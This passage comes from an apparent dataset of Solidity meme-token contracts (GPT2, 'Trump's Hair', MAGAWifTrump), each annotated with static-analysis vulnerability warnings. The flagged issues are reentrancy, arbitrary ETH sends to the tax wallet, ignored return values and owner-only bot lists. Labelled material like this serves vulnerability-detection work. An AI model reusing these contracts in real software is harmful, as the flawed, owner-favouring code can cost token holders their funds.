{\n\t\t\t\t\t// reentrancy-events | ID: cc1c4cd\n\t\t\t\t\t// reentrancy-eth | ID: 98147bb\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 98147bb\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 98147bb\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 98147bb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: cc1c4cd\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 98147bb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 98147bb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: cc1c4cd\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ca3a7c3\n\t\t// reentrancy-events | ID: cc1c4cd\n\t\t// reentrancy-benign | ID: 5746de5\n\t\t// reentrancy-eth | ID: 98147bb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: d4e3480): GPT2.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for d4e3480: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ca3a7c3\n\t\t// reentrancy-events | ID: cc1c4cd\n\t\t// reentrancy-eth | ID: 98147bb\n\t\t// arbitrary-send-eth | ID: d4e3480\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e02f863): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e02f863: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5a12013): GPT2.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5a12013: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9cef23b): GPT2.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9cef23b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dc39a23): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dc39a23: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e02f863\n\t\t// reentrancy-eth | ID: dc39a23\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e02f863\n\t\t// unused-return | ID: 5a12013\n\t\t// reentrancy-eth | ID: dc39a23\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e02f863\n\t\t// unused-return | ID: 9cef23b\n\t\t// reentrancy-eth | ID: dc39a23\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e02f863\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: dc39a23\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_1008.sol",
"size_bytes": 19677,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Hair is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c967f65): Hair._taxWallet should be immutable \n\t// Recommendation for c967f65: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6700fcb): Hair._initialBuyTax should be constant \n\t// Recommendation for 6700fcb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5678cbb): Hair._initialSellTax should be constant \n\t// Recommendation for 5678cbb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: e41da80): Hair._finalBuyTax should be constant \n\t// Recommendation for e41da80: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39ef838): Hair._finalSellTax should be constant \n\t// Recommendation for 39ef838: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a9404c0): Hair._reduceBuyTaxAt should be constant \n\t// Recommendation for a9404c0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 29;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b19a75): Hair._reduceSellTaxAt should be constant \n\t// Recommendation for 6b19a75: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 29;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump's Hair\";\n\n string private constant _symbol = unicode\"Hair\";\n\n uint256 public _maxTxAmount = 8413800000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8602a78): Hair._taxSwapThreshold should be constant \n\t// Recommendation for 8602a78: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 27c5a0a): Hair._maxTaxSwap should be constant \n\t// Recommendation for 27c5a0a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dc7b9ff): Hair.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for dc7b9ff: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9ed3f11): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9ed3f11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 96c48d8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 96c48d8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9ed3f11\n\t\t// reentrancy-benign | ID: 96c48d8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9ed3f11\n\t\t// reentrancy-benign | ID: 96c48d8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4bb66a8): Hair._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4bb66a8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 96c48d8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9ed3f11\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8d0dbf9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8d0dbf9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b09841b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b09841b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 3 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n\t\t\t\t// reentrancy-events | ID: 8d0dbf9\n\t\t\t\t// reentrancy-eth | ID: b09841b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8d0dbf9\n\t\t\t\t\t// reentrancy-eth | ID: b09841b\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b09841b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8d0dbf9\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b09841b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b09841b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8d0dbf9\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9ed3f11\n\t\t// reentrancy-events | ID: 8d0dbf9\n\t\t// reentrancy-benign | ID: 96c48d8\n\t\t// reentrancy-eth | ID: b09841b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 02966a5): Hair.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 02966a5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9ed3f11\n\t\t// reentrancy-events | ID: 8d0dbf9\n\t\t// reentrancy-eth | ID: b09841b\n\t\t// arbitrary-send-eth | ID: 02966a5\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e31d7a2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e31d7a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9f74891): Hair.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9f74891: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4175da4): Hair.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4175da4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: dfad512): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for dfad512: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e31d7a2\n\t\t// reentrancy-eth | ID: dfad512\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e31d7a2\n\t\t// unused-return | ID: 9f74891\n\t\t// reentrancy-eth | ID: dfad512\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e31d7a2\n\t\t// unused-return | ID: 4175da4\n\t\t// reentrancy-eth | ID: dfad512\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e31d7a2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: dfad512\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: e31d7a2\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10080.sol",
"size_bytes": 18718,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MAGAWifTrump is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n mapping(uint256 => uint256) private _sellCount;\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 2e82da4): MAGAWifTrump._taxWallet should be immutable \n\t// Recommendation for 2e82da4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc9b0ca): MAGAWifTrump._initialBuyTax should be constant \n\t// Recommendation for fc9b0ca: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 813b05c): MAGAWifTrump._initialSellTax should be constant \n\t// Recommendation for 813b05c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6afc7eb): MAGAWifTrump._reduceBuyTaxAt should be constant \n\t// Recommendation for 6afc7eb: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8169a9f): MAGAWifTrump._reduceSellTaxAt should be constant \n\t// Recommendation for 8169a9f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99db681): MAGAWifTrump._preventSwapBefore should be constant \n\t// Recommendation for 99db681: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 8;\n\n uint256 private constant _tTotal = 4206900000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MAGAWifTrump\";\n\n string private constant _symbol = unicode\"MAGAWIFTRUMP\";\n\n uint256 public _maxTxAmount = 84138000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 84138000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79750c5): MAGAWifTrump._taxSwapThreshold should be constant \n\t// Recommendation for 79750c5: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 418be48): MAGAWifTrump.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 418be48: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c22b674): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c22b674: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 723f8bd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 723f8bd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c22b674\n\t\t// reentrancy-benign | ID: 723f8bd\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c22b674\n\t\t// reentrancy-benign | ID: 723f8bd\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9a6a4a9): MAGAWifTrump._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9a6a4a9: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != 